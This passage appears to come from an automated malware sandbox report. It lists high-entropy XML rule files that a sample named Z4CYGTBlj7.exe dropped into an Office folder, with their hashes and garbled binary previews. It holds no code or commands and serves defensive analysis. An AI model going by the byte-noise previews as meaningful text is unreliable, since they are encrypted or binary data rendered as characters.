Preview:	<?xml).....m.......%O..@.).Y..E..Xi..a.....N...x.q.H)#.I.....P.......;........2g..O...........N$7...8...."]......b....Z.......lr.=.N4....Cb..z<FV.:[.R...)./jO1m..E5,."V..f.m...z......`R0.,....z.#....<V.8./.....X~= ...=.;.I.....]x.t."...m..`H.3.._....$..b.S.F..v%H;_K...........,.\....!...{ '...0.+Q..Z..2v..........@.#.;...Zzb..=....5........x.....x<. ........56'A..6B9..K.?T.W.0.qWF..w.`N.z.x.8...~.Z.D7..@c....v.L%..;..Y.IWy.....~`.?.z..."...r.....z.T.,.y..a.D..s..6y4=.`gg..Z.SA\w.5z....#g.H.....i....D..6..(^!... ...z..r..]......"...j..+.0..C...(D...!J.D...`S.. {..aS....e^hq.8;T{..N.).Ta..Y....e.5'.t..E.............WMg4I.B:X..X)...(.....(.l.....}.\....P.....8.....*.%...H..u.a.....t.....Z.....HU...qklvX.=A<..?2...\|.G.z..$`...AdQ.......#..![...;v..-.[?.PTr..6...Y.QO..5..<...5b?0..M.M.{..y..w..C...sGC......R..#....$_.; ..q..v..v.5..v...f:..!c..O.%.2..cP...?..8K.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.822701471937252
Encrypted:	false
SSDEEP:	24:f5X/vB326qw3vtxIyLNNq9KsYLEmc7loc5svsD8TUic6afNobK+Un1GJ+BisbD:B/vw/Mt9L41MoLsU1Fob+nQKimD
MD5:	1AB34CE4F03F73DD8D1B67861BB8BC9C
SHA1:	A7E7F5992C639521D2BA08F26C7F3D8FDBF8724C
SHA-256:	9D5E77ED47AB08E7141A7DE04DE25FB0906D126F212F2E2C8BE5E4DED815D638
SHA-512:	082B49A08621C12C62A119EB072FEA2847D74968161CAC00BCA8EAA39F9F6267F4F433453399652901B74FC4AC2A1998E61CAA6233516231764F6A0875F1E9A7
Malicious:	false
Preview:	<?xml.X....Q.....f..k..n.B...lW.K.^q@z.V-..m%..@.sgJ}..y.V.:...].k.R+7.....G..?.......tz1.q.?..4...i.".l...\Y.e._.H;.!.Q.N.v:9.@...^... ^K....!./ks^..7....3....nX.`m.....^...LV...P......Q.9z....Z.......^...g`%..h..e..T......vE<..Sp.;p.l6.......@...ad..hn....z#.i.H.?@...q.m...)^.....o...U......f..So.....<t.5.........._..A.cz...n.\|..g..N...Z.A...Af.d.!....W..u0~...v!.x_`=...].... H....u....:.vo3...c6qS.]..B..F."W.q....{y22L......5..!.."."".....:.`.=z.n..\|...n...'.Kl.Sr....5.H9+..{.....4.Ih..o..v.U'.!@....... ..k~....H.u...H.7..p...>Y.H.@'c.Z...h.p..%R./i..U.S ...SG.C..2r&.H{....*.;~.~..AY.s....2.n.Q.r../..........W..U..........s.1l.0...z.p.-3...=.@.fC.e........x.O.=.$.....y5T...i....d...2.u.y-s..>.^A.`..^....XF.W.......A...16T/..ll.P....A..#D..K.9.E;Z..2V#.0M...C......5'4.s~Um.E....[....t...y.S-+IfG..<...b.=J.Os!W.....3..?..%.@..`?.....x..".7..._.....$....b.\.be.c.6S...o.q/.....\|@..9.\|.!...._....8I.9..r......"t.K...4..V6.!.@......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.839477370057789
Encrypted:	false
SSDEEP:	24:WCesddpuyNsgEfiesa3R3y75k3Y8LdztXtqIbpkm+yeXHURWbo0MGeXVFsbD:Csd7dn8hy76dd9tBkPXHRng3mD
MD5:	1BC86F27F67834546DC3BCA4045A9F84
SHA1:	0F6CCFF3BCB0BC9048DD57878F8AF8CD7191263A
SHA-256:	C87C1D905CABA376EF9A00A37672097E51F508E0A2DA96CF4C0EB3A29AF71BBA
SHA-512:	E0AB3C84F82651B5C0437D7310D1358E2B55ACB2EBEBCFB7647C72AA7C8E3427CF642D3E430DE1822E3795204E480DB3FC6C5459296929A001CA0E85F366E4F9
Malicious:	false
Preview:	<?xml..[.op.q.a.........s\|B.\.......Sk.#E.....z.%...I$q........pm.(~j....r"b"Wk...).F.A4.R...%s{+....(...(.ILb/[...=9...p.G..X"..6e..6.P...W\|..#...\|M`.mh..{S0ES@c.EvR..... ..dB....rs...+t.A..p.........'m..k..I..%.;Fz....T..X.......)b.j\|Y..T.A.1..?.m..]..p.#...A/.......O~_4...Y...BA\..iu..1..eui...[..J]..........<.kUE1.p'H.a./...u....+.,G8K..}.m{.@f=.....u...Q.d.)...3...qO..r.Tsf...HT.d..4..+T........@.......C..`..~.d..QR..Ly.N)[..d3.v.CnJ...^.$.#....M^..Z...]n*:..9..:.....p'#..~ ..7..4.&.=........"....M;:.W..G..:.:..._E...<.oYPdr<...P.e...82l....u..9.`A...i.i#..]&8.i5...tX.0"U...J.-.H..5..B..\|.xw.(',....;!.7).M....H..^....(.=..Q.......C..q.f..JYd....S96N@U..r......V..(.S..%........0...J_.......I.S.P........!@..?X.O...P..=@gT9.C......]_4..3...@Yd)..S. ..........7.l...z..!.0I....6t.?...M...l.....Q.WT.6{.b`.eB.WO,.h.(Y...,.....#z#...Bdk.Q:ig.w...%....T..q{....B0.w.....r..1.}...a..l'#..~....I.n.o\.jc.b_.U...Y.z.i.\K.x...b.JZ./@o...-Z.8,B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.872773151044067
Encrypted:	false
SSDEEP:	48:J1T/CtRw8BBrhbRmTc/MN6dX9uB/fCMimuL8mD:J5Ctq8BBdYYLdXoBXCMimj+
MD5:	29C3EC3A89CA19B25DF4F830AE7D5D48
SHA1:	3B665C9BAAD6E81D88E9B3882E526C7B20526918
SHA-256:	43808B0176CC0829CA77306903BB1651A20F2B00FED3AD25E56FDC2A281E1FA3
SHA-512:	907A620F5F7358567A9AA08152CDE715D3F29A74B1F4CB8AB30B3FD24D00E40D276E169377DE497A15FFD9158EF00F950745AF295AB15078C51657524ED05159
Malicious:	false
Preview:	<?xml.Z~.......G.!K...N...$.h.}./.....0.u..>..=...0..({.....N.:......0...bn.4.f......2.L..N.QhN..I.g.j....H...gg..`M...t....DT..... z1.0..e..vh.p.pc..l...f...gx...v.h..E...l.....x.....]T..=.q...'P..D.........N..F.o...q..5Z..p0..L...^o"..~h!Y.......a=.b...J...3........[<=w$}M.. ..2...LSA....#$......d..^#.5...6I...t.\|T....3.\.O5_.[.NB../7.a$.`.j..w.I...`Z.....A.D.....V.@^E.E...#.+>t....H..B>.h^.....R.-.[.<..(<....-.,....o...8l....e.vE.t.d.a.......=GO....5A.M..(...:...cw.jT.c]0...e.....D.\...#LY/<....I..V.\..q`x.....a.<......S;4.r......C.Z...B..N.7...T..../.%o.../h.F.....@.....^....z...9....1l..............b..y.+.K.m$..M".{...n..%.ZgvLx...J... ..T......]..[[B...<..m=?.^..H...~._<.......g(.O...n....]ER.....Z.......f..C..r/q.U.{.zH.... .*....M1..\..z.....B....cj.<...\..:..'t..=(8.A..m=<Y..#.L....=O....x...zh#Q.7.'.\.....M.._.y.s.b.q.h.. R}8.....J;..9e.\|1d....OW.Y..I.g.c.,t.I.S.4..y..nm...w#+...V...t\|fNH.zG..C.[&..0..N+g..zJU\|...`L..-...G.>b.+.7...MX.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.846268212356178
Encrypted:	false
SSDEEP:	24:0SERz+rhFKPbMiXWk9amRpPnbvevSy3qMCoNA6w7vjl951oKfaXFsbD:RL74bBHRpPnqdC4A6w7vzPoKfgmD
MD5:	49DE6845F627AB468B3C24FA91181F42
SHA1:	F62EE932836610C186F7C08B5D199DDE6E0E68B2
SHA-256:	AE9606F67EBADA06BBA44F45E546E4DDFAE828BE60EB2B2DB112D6B4FD81AA0D
SHA-512:	26637C32E93D15BEE3F3493D801086CCCA6E0760B12F7750A3B4C9A1531DB7C6B240B95D9E0383FF777EFA1BEABC97406C8EC4F1D4FFD2E6AAB0B0FCC35E975D
Malicious:	false
Preview:	<?xml.C.\|...5.\|.8.wF..v..,...%z..?....s....!u..........d....q]..S....6)t......yH...."h .......E.....h\C...^8j..D.F..."f(v-9.t=..~.\|..>._H.<....1.P..A.=...]...G..9..]._.W.t+......:q.knX..l.b.j.y.q..3.G...,.../...!/.......:M^....h./..).....`.0...T.....u......".E.....x/..\?.......io...v..2.T.....nx2....G# pu.V.{.. ..O..T.0K...r.0B.!..$... ....@4...E.....~.xZ.#.>c...U.A.)q.y...p..@j>.!.&.6..c.,n..\|[c.A.(.,.wo.H...$......f.C..d.......S...z..v...T.M3...p>'...}x._..S...g..a.c "..nc.\|..f7..{..j..3#v....$..i8.........]]#.Z3PHf.........C...R.f..$......v...`..@.p...z`n'F..du^v.m!..8IM.t......!...+}.........<..7..BR'....H...3..s.+.X..3...a......T......j.....h.h..t.),~..!....C..$..\.{4..'..m.wE........w..gPA..&..`..w...H..9..e.p...;4..-...\<..voS.\|.....<...E!...hk..q....1.9...AIT..2.U.J........./...}F......N..2...f..Z.Y..}...!.I.............7Q.5.._z..j.K..J.U.u.x..z.Bb1v..0.P.....~.n..}..I.R....O...RT.R.[.`......t.zN..^.!....v2.i.X..:J.g.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.8861426841939455
Encrypted:	false
SSDEEP:	48:9FP4Ijh9KMQyJsBobfC9rsLKwUtdQzKvmD:9FfjhMbubfCpPzYKv+
MD5:	D0A3B58F8310CA5F3A329AC3B326482E
SHA1:	3165A5AACBB1761797A569B295869E97BD1D2784
SHA-256:	04259A847DBDF59E734006E81CAC7BDA8DC6CB2DF155D4FFCB40F19B0B83BB40
SHA-512:	F85BE8205372FC21CB62788D3A67D22445E43B8C6170D6FAA7B44CBE62EB3809F9CB5A705E9B47DC74BD339514F93043BC5FEB6A8BA7E782522AE2EE51E1B5C3
Malicious:	false
Preview:	<?xml.~7...q3..q.7...!=.~-1mL..X.RR........G.w...0....G.jv...yV.m.&...!o..6._....f....%u...i..8.........Un[..K.@H...I^T.1A..M..........q;<..7]s./.d..W!...RV.M...52.Sk.. ..EN..].0>...(..z.u.@.8e.V=J...;p..D..0'.h...y..HM.Q..N.....h....3..}X\....a-x.(..#.f."F..)A.zV..:4b.X...."'...0.p.....?_x.....x...lM...f...-..........b.Sk.u.f.\....$.v.D..K..Aw.3.p?...R\....n....{....M1+g....Y8...Y.Kj.F....g.V....!...]zG...j..5....V........O.. ..0.....SD./.U.Y.A..#.&...EN...0.W.k6...t....Ku.C.Li.. ..w..)B..T.0...$8].5$....0............Y...ib{.4..I...<..X.}..<...-.!x...mX=I.b.t..e}o=1.t..:..3.N}..=..HQ..].u.Pu...0....!hm.7_N......]....Z...Nh.)m./VP...e.3}..]\.r..kh...M.i..!....x.:z.......[X".&..\|o3np4E...Y.z&......w$.........2@k.....p`M.....t.0Di.Yx..EC.s.......;.O..-%.5p0!...2.0p..<.M....q.Q.P..h..X......Q...:.(A..\|_....x..\...).....,...q..2..l4..ig..R.'.+u&xR..C\..q.a.m.....;.,.p(....(.....`.Jr=3u.q,y...M.>v{...p>4...s....H-K..9.9....>G.\|\ul.^Q..V{.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.867764576186535
Encrypted:	false
SSDEEP:	24:VNiYWifJgepre6w+juE9og58FEoa71qDia0Ij0jBu1nk/g/j3xpeh7sbD:niYWuVpHuE9ogeCN17a0IEM1nQ+j3b++
MD5:	ADF5A62ACE64ACA0BB0C6176AA0DE5E5
SHA1:	C2A74B94B9DDC0D6A24BCF5C752A511B0B5EAD75
SHA-256:	01CB9C67BBB20202C73DE8545372E10E8EC37D156B1DB2D43906C85F526E85B7
SHA-512:	B59D6CDC1D59C52698029DE3A178DDA3668713A5B903C6759D2F1191E98C1B1D18CFFCC2B1797E81643AF1F6B05DFAF75C13A1ED816E5B718A7758176070A672
Malicious:	false
Preview:	<?xml. w........\|^J.K+.U6....<.+...I.`RV....6.e../Y.<F..].ar_.T...=.g......5<.!......7..Y.pIQJ.......~#`3.E..d...'.....-.%..b.f...@...........].^..-.y......H..-.@.k.q..5s.4..7:.0..).A....;.6.V.t>.....`...Y...u.F.~.V.....Lf.....R...+>7.#.&c...dm....W.h./&.FYio....T.'...5HE7...-........SrbM>.B..D.T.F...Gi..\..".To.=d....S.....Dx.v/.\sZ.C.=..b.q..U....&+Z.....X......Q.../Y.f.<.h...6...3..0.3.l6...L..=...y ......K?\|{[Y..+.G-./..P....!#.6.+. .g....Bg.......eR....D......d..X.<..\|....#... K.x.Y6.]..q..V...2..X.-..]..k..mqw.....)......0D.5sB..p...0..o...\H..rx...p.....vA...!}........f.F..CpR.).z...".DZ.1..`A.!q.?....B;P.Z.j./.......&.."B.$'..qMc...g..lz...O.p..$....By.9...........6...v.....b......f.Y.J.D.'.......I.E[,...8 .R{.=.U....dA;..,...H$p.......=....9.U.T:..s......@.VJ.H...;...).....~......G..^.C.;.*.....%jw.G.3T........... ./..$..NS.....B...?.0..."h.v.+FaW.2k.1.[.R.&,....\|n..v.]..}1....S....d...s.......+...eG..FU..@..)\.."....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.894336213137621
Encrypted:	false
SSDEEP:	48:Jt7t+Drpge3s12z04YL0W7AYLI8QfTDhEfxJmD:Jht+Jge3sUz04YoW7rI86GfxJ+
MD5:	022EE8D8E00E33D6417A8EB7750EBA0F
SHA1:	D13E222851598E9E4E57FC283857F810B1F80A50
SHA-256:	85C1D69BA995DE55160BEDC7102E02C4F13ABDDFCB51C6FC9A484735782BA400
SHA-512:	F56160CBA74936C517DFD3C55AC14E2A61063831D247D4023518EB21C086FA40DAAFF4DBE16CF867A467BF36232202E5D2ECCA0F5F2FB9E7A062BF7E598CA468
Malicious:	false
Preview:	<?xml...0"Z.u.<...5t.9(.1..F.e.A._\.....-.a.......I.....G(..1.{0..ygi..b...o.KAHT._..m..'vP..@..Q.\|.u...D......wbU..j6.s.8..7..ZLp].....U. ..y.\.1._.@../...U...{..\|Np.;<x.3..y.n.9.nWtQ...>._..2..(y...4y"F..t.........u..h.R.....8m.'6jT...h.....aH..O~..$...(....[...wh!.D.Mo....4.,.....e.......qSO)....9[.......D..{....d#.V....g.IR.MI.)edX..;;.d.t.rT...........5..&(.xD.. W%..<..0../9$....TB..;r..U.@..9.q...Vv.T.V......w&.a....dln..s....\|l...N5D<-.O.......p.6.+...jj..%..&.._^.....7.^......b.(01[.S...3..t.@i.d.sgW..16..\.X.........^b....lE.o.VE7.5^z.&c^..P...^..M.iB.Zo.,.h...k./..g..t......Z.$.~....Q.......S..1M.....O..,..ea...j..i..k...@..8..........-)B2.h.\...V..i..(.:.G.b..h..{iy.(..)H^..xM..l...m...f..[....t%..JWa`...v....M.... ..e...Tg.... R.x......x.8`.A..i.. ....B.'._.. g..S.c{G93../}.I69.e.........)T."..y{U....@....Lx..S.]^N>.I.pw.+.0..4W.......&..2........f;..v.r:.z..,..&.X....p..>....f.}j.}.......a...x..m..vW.4......g...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.840727119236143
Encrypted:	false
SSDEEP:	24:1NulG+iT0wyxzzdfWf7rF3uMvEM2hNm8kuivWhcL9i+GCwqREVdEEwfsbD:1NuwNZyOx3NEMu2uViQ+GCXREVdAmD
MD5:	57D24A79B6A391C297FB62AF061F5E7A
SHA1:	B1E4FCCED98CB66BFF62955DA572832CFE408649
SHA-256:	D9BDA672FA901BE0BBD7B6ECF0347FC6D905F69972B5DB2AEA31B672B379096D
SHA-512:	61DA12969136D6ABEBA4974DA678A9E3B95FC87E9F7BD78CE9BAA548D9C1BD32DF708BD578AF8D04EF16074ACCACB80B6EB62049EF84FF03E47BA781A76AA271
Malicious:	false
Preview:	<?xml.R.EU.@.Z-......x9u..0.\.,f7..E...\.,cd..n..o#..k....G.8V.uR:.?.:X...H.h....l...K.....5.V.......\|.....Z....n../]......:4..p....+......) ...2.;.g...'........}o.-.bH\|...4:.v.6.7..p..U....S.7q...M.&e3\|m.4aztY.\%...}+/..".r.5..].Zdo...f......3u..x.k-.(.:c#".:tBI.....R..c..kDc.@.M.D..v.....M...\e...-vi.H-.....g.h)...2=M.%o..D.h.,..1T\...;m.&....;u.?C.6...tm.?.g...Y....M.....s.N.Bt......>K"x! .......O+.._.0.q.+...."..Z.%.c..q.Bl..rA...Ft..[.. ~.7..)v.;y.=6....G..X.A.?H.(.....n.S........t.,..(....=.3...v=..6Y{r.....a...8gJ(....(......sQ..e...Q3....q.?.5?rk?Ht..s.".....e....e........X.F...t....J...:..P7..).Q.p......u.D...\..6=!`.k[.j..n..-.P....F^@../....O......b..Z.d......l.C...zr...$...q.z'....8..N.n&O.........r.sz.L;%..5]......9#+.'y)#.v..9`...R.....<j.L.....u..Q...!..-....1q.........;Q-.FV..).s.....$f.*.h....e._+..q..(@.4{<..M....Y. .b..............U..3u..{.8L.Jr..`...W?....m..Q......)iw.......E.....]h...>I.E.<.E.....MCg..Ttu...^.%=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.905232659623246
Encrypted:	false
SSDEEP:	48:E6K62Ul5B4Q27Susqm1p2vjCU2IYfOSLsrXwYuK8lCsfp40mD:S62ef4TBc2vjxvzSL1fq0+
MD5:	D786D06506BCAAD9B7851477CCE999BF
SHA1:	5635DDACC457D58EFD72F921FAB83F396E603AF0
SHA-256:	3122BAB70EB141298C41F591EC66CD2246F6551EA053219F9BE7983D099C3C38
SHA-512:	AF7BA2FC7312DBEB32F98C4B934B12B3730EB1882596B46A3CC76D72FFD1B87B655D93F43D2D87A1AB05AFF0705BEC8C110311A4D39896F191152C5AEA8BF191
Malicious:	false
Preview:	<?xml..-j.P.P.l.p95....IB.K.....L;..w....t...!.........3..".i....9.....'..../.j.x.~',L..l9.... ..\|.6..H.ly......b...m.`RME-....0.c.edx.,....E).qz{...t)....).q...X.p.j..6..8..k...H..F..N.H...~_........-.k.9..:....0sub.y.FdK._,....K0........9p.\|/L...m./....OI............D.l..l;:...\.S.....n.H.....J.B`T....&`.o..[....7.>#<..?pT>3.`...oz.c.nk.^[..se/......gWq.,[...1.2Y......._:..;.75..#../z....^.).i....Q..\|....Vi#&.........Q......t).$i.1..6.\5.)9E..g.:F=%?@..{...xC..&.....N.'...g..3.`S^$[...\|....!?.....@8.{..w.U.O. [,..Q.;..H....I..I6..3.......W<..y...l.....X..AX.......?.k.u.].8Fy....b...7.H...F..+..C.k......9....Q=y.X.k.....w..7v.6.Dp..^..'...n..:..$opj.3.M.c.m.l..,U...T.6.......aq.A.\|.<Z....t.H......,.C.........P."..@/..OXa..OlB..6...3..o>&..U..7...v..'.(/..;..r.DC_......7..X#I...l.=vP..(...z{'.p....8.l.P..P;...I.[..e.Bq.v..}..X......x.,.-...U.HX..^.../b.-.......>..^.@xt....Z...o..1...L....].^...b.{...o..2.R.T......y.MrzM.a.], P.kD.S..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.803073584308206
Encrypted:	false
SSDEEP:	24:ATFTqR9H1ZLHKMez4y2cXcD4Yy9RSwLO3VDEKSUgoiq1thzsbD:AZuoqcXcY9ywHUtpzzmD
MD5:	A72CE3CE4B4429A8684FB3617459AB2C
SHA1:	20ACF924BD85AD406B562E69696AACB25EE63E63
SHA-256:	6F7841DE668873DF217FBCCC16A45FD58B295A1D802A0C419D999AA37A8E40D9
SHA-512:	B980C2F5A2B8B07721230632D8D9542E64765B924F2CCC94E6DBE060AE6954A7FFDDE0488611BFEB4FFE85D9E2BC277A8589101428D6D3DF79BE6000469DF57C
Malicious:	false
Preview:	<?xml=X\.....m..}.W.d..;D..]0.D..N.........%..&.P.....!.\.....6.Q.w.[....'....5.g.1W.o.l.Dz.GY.;&.;..@..V.Q.qT:.....!h.E......(...0...t....._.B.f.4..{..h.bW.c?.P.E_#.........-.I..Z.m..!...V...5.>..B..eOY....X.9oE.\..{.;.I)..'#J..<....K[.Z .9_h...]..t..k...\|.."..d.^...-....Y.OK...f..r.....M......c./...f7.y..I..\|.Gw......j\|Yu;Ok.M..@N...`.....y.....D..9ve...<.S%h.......y......\|.9....M..7...kH.qRN.......g`..q..w9.....<..Y..W..%D.1.$..D.0$......0.W..UQ..E.....................t....\|.8.+.5...U.D.."A..\+c...\|1.....%..+..&u......V.p..V.r...Y...o.tp%./...M...c..a....ag..UI...;.e?#.%.~........4....I..mM..!-i...z..o.t....&Y.....5%.t..../..H.J.....#,3\|....L.M.]......V.h8+h9sG_<..."...E.4.`.K>ghx{&.(i.\-g.....^ ....JZ..5.......1....5T......'(.Pv.....'.m.T...).....TO.....Y.o?...[w..../TE.....]L.I..'....-J!.EC_...\|..$...,D..o ..,.W..P]..".A.........-.1.p...{..+.K.....r+.....t.Nh.V..e.....&tW....9...k.._..\.,A..%H....F."...X3p.T..Bd....^i:....8tk

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.757677261886747
Encrypted:	false
SSDEEP:	12:8VYYJd2c3CVtJUCyPqzuh3JJ8jfigOitQNRVdnwb+Lu1EIxtqkGPNMTB/do6Qscq:8pd9CiFyk3787ZQ7VdUQu1fpV1Vo7sbD
MD5:	8A3E53ABEA3AAE538FA69428250769D2
SHA1:	6DBBC8771293493C6C7E22EDD4B6FD777F74A10E
SHA-256:	CE5F27F006D06E4CD7590BC854ADE24F70B8B0B5F06CEFF1CEA71C9F043E7446
SHA-512:	51DFDFB25CC96261CB38AB00584175E5C8D72FB3D02C1D4BF6F64D0CA3F1FC4DF084C723C12B5899BE8329B56C5FDC648053AB234299F17588308ADE7A44348B
Malicious:	false
Preview:	<?xml..l)8u..6..~...T........6.l..~...K.H&.\|TRf.2..8'.s.j.<K...UY.N..l....J.....3...{~.9.l .].7..V..R..@NH..)..x...bN.k..,.2..OE.7.U....8D".j...[....d.o2_......Qn...J...'..J....Z.f&.&...h..7..s...yy.....'..pH...3#....m...Fc....vB...EP..H..Q...&.5.D.j:......2".!..w...G......6...Q.P.}.e..D...\|.J.O\G..Uu.......s_$....7/..oe.<.YB(t.....W.:.....f..{..m.3N.&j}c...(_....6.y$.....o.<%.b......#+.k.X...n..jF.K...&..v>8.......$]..#.\...,..\|Ok.P.?~k....JO..M.. ...\|..5.-.O.\.....bN3..)d.......(Q!.l.p...f%.C.........N..]).`44.............b.....B.@.].Se....{g..g..:P...+.....m.u9-.....w.J.O.7..9..>...o..@X....\...`.6.ud._.....(=...l....$.....a....U....<S...&.q.>5G..lO...Iy..2....~.].....@...O..x.)X....[t.k7d.).hB.r..P.s...~.~..%.7..Jy.q+.Xv..k...8..m.+3&..{..^ .......@.K8...\.!...Z..=j8^.A.S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.9120945215383784
Encrypted:	false
SSDEEP:	48:IBnHA81iNsV5mfGuWhqIEnZE5RC47pJ3mD:IBbiNsXmftW0nZE5E473+
MD5:	65BD5360F40EAF4CC4C71EB381EF4CDA
SHA1:	18D77CA2C230961E8748DB6F540AE23434410885
SHA-256:	16F733B5852BE7C33E18D0622BE3486342FEDDB7681FE61520C016CBAE81C17A
SHA-512:	2F2D50DC52DD70E64735B13D79A9881D00EDD10B2A7AB905C5A398A54BF6F0C817D2ECD60DDAA1B88BB0B31AB3D66BB26274D3099D02AC3714FA6965A8DE5DB6
Malicious:	false
Preview:	<?xml..d...u+..o..`vM....m._...W..h&6..?.K......ZM.N..r..E.....0X..!B...V...z(.....E:V..g..q.........,y....m.[..Wbb<.....1pn....R...q.2..."..ZF...q.........{.rL.K...H[.........5....NP;..x......q....s..`<.....z...^ZSz\|.[/..\..[q3...M,.a.....t..A....Eb.i.wN...]...{...).RL../.....s ,@.S\|...="....&Z]}^.NWAq.\|.}..4'.k.1h.v".<+F...Z.=+..^.9":..B...>.....Dc...d......Sg..+7.I?......TA...e..(......o.]...~..=..x..y...[.l..G.mp..#...[.f.F..o8.e....$~/aK.!..Z...^.......B..:..^...Y.R...mY..(CTt.. ...kW.R.)..e......5.v..Z....j.{.Y.<j..373..kg..k..(+=q.....z..\|..[.!K.s..tO.bENyk..Y....$........^.+....j..rw.K....(..\...-+......%.8_.A...W#...\|.....'.........g.j..4^......Av@....>.uGN.mUxf.L..//.6>...jl'./>.F....s...Wk!k....V.Z...J....B....5...X..b....:......"aT...!'Y...cco."C.......L/.".;\.k.3t.3...4...DA>..Hq.rY...M...r...&<..j.9k...s/A..p.(C..!uj.3^.J...u8J.......!.Y.m).~...@.z.@..JaH.._.f.T.n...Gk1 ..p...j...bs...L(..Z..[.Ql..wu....@...w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.873638401782488
Encrypted:	false
SSDEEP:	24:OCWb9TfK6fj8s2iGIC7fK5C/y3EE7W8h28MlTp+jV8S8alsvBjqWgsbD:Oj9TXfjqcCNqEE7zY8/ht8IyNgmD
MD5:	D2B9A13FA3BAC479EA84887FAD294850
SHA1:	725CF624D621BCEF7E8F4AEF0CCD64D18CF23FBF
SHA-256:	44A253173E3055318C68D93C909EE93E3702D19CE2421F592669E1282D2BFE05
SHA-512:	5AA09F39422F97F840257880681E8C19F587AF52E8F70EA8993FCC1D5D6DB635A8363344B38B7BC517B86B04AE10E683F8C5348B8AFC47910799F2C0E37BD4DB
Malicious:	false
Preview:	<?xml.G.jN...zZ,..Y..l.).6..v\|.......?.0.....r..4.2L..~.7.Y.2.n.C... ....luN..w.u...U..Tr...+ ...)W.bmxN..8.....p.{x..?.....-$k.:#k.J..]_Us..xVh?LZ..K.5I...=..0...k...Z..M.ob.2..bD.9TK...........+..?eI....}Og...w...eeQ.wTV3x.CT..j.A..-..@)...M.uT.x`@.+..^..F.~..(..^.Q..,.2aPx.j....r...&...EqK..%sH..O.......l..i[...7....~..Go9ca..y.....D...hM.......$Oi....#R.....Kz...G...{d YN..um...%P....ml.Jl..3..H.x...l...!.y....$.8......f.:x.Au....1..8N......'..b..].{..G..g.....qF....=t..&.H.l....>7.9Sg6..Vn.f.y.m..,.5...........~...$.v$......]Oo.R^..+~_.....d...^.37.8..u...S.Q:..F..8....+$T........R.........I..c.J.....%s.b........9b...#.h..i.......h.=..8..."..!....T-.9..j..Z...`..o....}&..@t.t.T..C...,>...PqH..r=yL(.[...:....-=..%....?.........uT..V..v...wN..4...6.u..."w.....!.Z..lL.=d.2..a...s6s(.i.D.B>.P......../...q.F$.+.... ....8...."N....2.....].B4.g;...m^e..Z..."..j./....z..V0L%^.....j....)Yz3.r........`..=.....*.Y............sSH......H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.820965589866826
Encrypted:	false
SSDEEP:	24:c96m0uezwJ/kT7e3AbYtyaE/rk/PiYvBwxJ92kM3ngsbD:ccm0utkT7t5aerkHiQB3ngmD
MD5:	D6877F277693CADB2E91C8E24EE98233
SHA1:	B1B002BE7EA6CE202513AE9AE7F3ACF1013B2BAD
SHA-256:	DB436AFD943E4DCBA832A1172113B99FE2A84A22657D3EC6BCC2092D18F1FAA7
SHA-512:	B1AE430F026C338D4CBF0B4D0702947AE4AAB1026A750FCFEA87D44A6F164278105CB331441A9438AD7887BA82C3D0D16C05D829EB2C81DFBAED51A48FEB904B
Malicious:	false
